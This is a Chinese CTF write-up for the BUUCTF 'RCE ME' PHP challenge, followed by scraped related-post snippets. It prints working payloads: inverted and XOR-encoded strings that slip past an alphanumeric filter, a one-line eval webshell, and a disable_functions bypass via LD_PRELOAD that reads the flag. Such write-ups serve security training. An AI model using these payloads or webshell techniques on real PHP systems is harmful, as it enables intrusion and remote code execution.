【BUUCTF】[极客大挑战 2019]RCE ME
源码
<?php
error_reporting(0);
if(isset($_GET['code'])){$code=$_GET['code'];if(strlen($code)>40){die("This is too Long.");}if(preg_match("/[A-Za-z0-9]+/",$code)){die("NO.");}@eval($code);
}
else{highlight_file(__FILE__);
}// ?>
首先是PHP正则绕过,有长度限制,考虑使用取反绕过
首先试试看看phpinfo
echo urlencode(~'phpinfo'); //%8F%97%8F%96%91%99%90
?code=(~%8F%97%8F%96%91%99%90)();
重点看这个禁用函数,禁用了很多函数
下一步试着传木马
$a = 'assert';
echo urlencode(~$a);
echo "<br />";$b ='(eval($_POST[1]))';
echo urlencode(~$b);
?code=(~%9E%8C%8C%9A%8D%8B)(~%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%CE%A2%D6%D6);
蚁剑连接一下,显然这里需要execute /readflag to get the flag
但是由于禁用了命令执行的函数,这里要进行绕过
网上有两种方法,一种是使用蚁剑的插件,科学上网才能下载得到
另一种是通过LD_PRELOAD
& putenv()
绕过
这里不做详细讲述了,具体可以看看我的个人博客here
上传文件后使用PL
?code=${%fe%fe%fe%fe^%a1%b9%bb%aa}[_](${%fe%fe%fe%fe^%a1%b9%bb%aa}[__]);&_=assert&__=include(%27/var/tmp/shell.php%27)&cmd=/readflag&outpath=/tmp/tmpfile&sopath=/var/tmp/bypass_disablefunc_x64.so
【BUUCTF】[极客大挑战 2019]RCE ME相关推荐
- BUUCTF [极客大挑战 2019] PHP
BUUCTF [极客大挑战 2019] PHP 启动靶机,打开页面: 提示为备份,尝试使用脚本扫描备份文件: Python备份文件扫描脚本参考本篇文章 判断应该存在备份文件:www.zip 下载得到源 ...
- [极客大挑战 2019]RCE ME 1
[极客大挑战 2019]RCE ME 1 首先打开题目得到: 发现是代码审计 传入的code不能大于40 并且不能包含a到z的大小写字符和1到10的数字 我们可以通过不在这个字符集里的字符进行绕过 可 ...
- BUUCTF——[极客大挑战 2019]Havefun 1
这道题是19年的极客挑战的题,这道题整体来说,额,很简单,而且这个猫猫感觉好乖哦~!好了,进入环境 进入环境后可以看见这个界面,啧,说实话感觉没啥用,因为什么有用的价值都没有,所以老规矩,看一下它的源 ...
- BUUCTF:[极客大挑战 2019]RCE ME
这题和我这篇文章内容相关:关于PHP正则的一些绕过方法 绕过正则,有长度限制,先出一个phpinfo()看一下配置,payload很多,我上面那篇文章里面的也可以,我这里直接用取反urlencode编 ...
- [极客大挑战 2019]RCE ME
知识点 无字母数字RCE 绕过disable_functions WP 首先进入环境审一下代码: <?php error_reporting(0); if(isset($_GET['code'] ...
- [BUUCTF][极客大挑战 2019]Http
思路 浏览网站发现没什么地方可以点的,那就检查元素发现可疑路径 添加Referer头 修改UA 添加XFF头 总结 在CTF中修改http头的操作常有BUUCFT另一题,常用到的值 X-Forward ...
- buuctf [极客大挑战 2019]Http1
目录 知识点补充: 请求行 请求头 请求体 解题过程 知识点补充: 这道题,主要是对于http请求报文的考察.(参考(37条消息) http请求报文详解_石硕页的博客-CSDN博客_http请求报文) ...
- BUUCTF:[极客大挑战 2019]Havefun
1.F12后将源码翻到底,发现GET: 2.传入?cat=dog: 3.获得flag.
- BUUCTF [极客大挑战 2019]LoveSQL 1
#和- - 表示注释,url中的#号是用来指导浏览器动作的,对服务器端无用.所以http请求中不包括#,因此使用#无法表示注入,- -(空格)在传输过程中空格会被忽略,导致无法注释 可以使用–+的方式 ...
最新文章
- UA MATH636 信息论8 线性纠错码
- 如何删除springboot中的子项目
- Android GooglePay 填坑录
- 成都优步uber司机第四组奖励政策
- Python 中的黑暗角落(二):生成器协程的调度问题
- how tomcat works 读书笔记(一)----------一个简单的webserver
- Android TabLayout定制CustomView与ViewPager交互双向联动
- bcb image 动态大小_论车载音箱系统Limiter(限幅器)Threshold与Image(声像)稳定度的关系...
- 网站安全之为Web项目添加验证码功能(二)
- OpenStack Queens版本Barbican项目介绍
- UEditor的使用方法
- QGIS Server安装教程
- ​LeetCode刷题实战518:零钱兑换 II
- 年终总结系列1:基于IFRS9的预期损失准备金
- matlab窄带水平集,窄带水平集方法
- MATLAB读取xls文件的内容
- 任务栏优化工具TrueLaunchBar_我是亲民_新浪博客
- 正则表达式-匹配A和B之间字符串
- static静态变量 与 常量
- 20201211_127_编码知识_中文乱码问题解决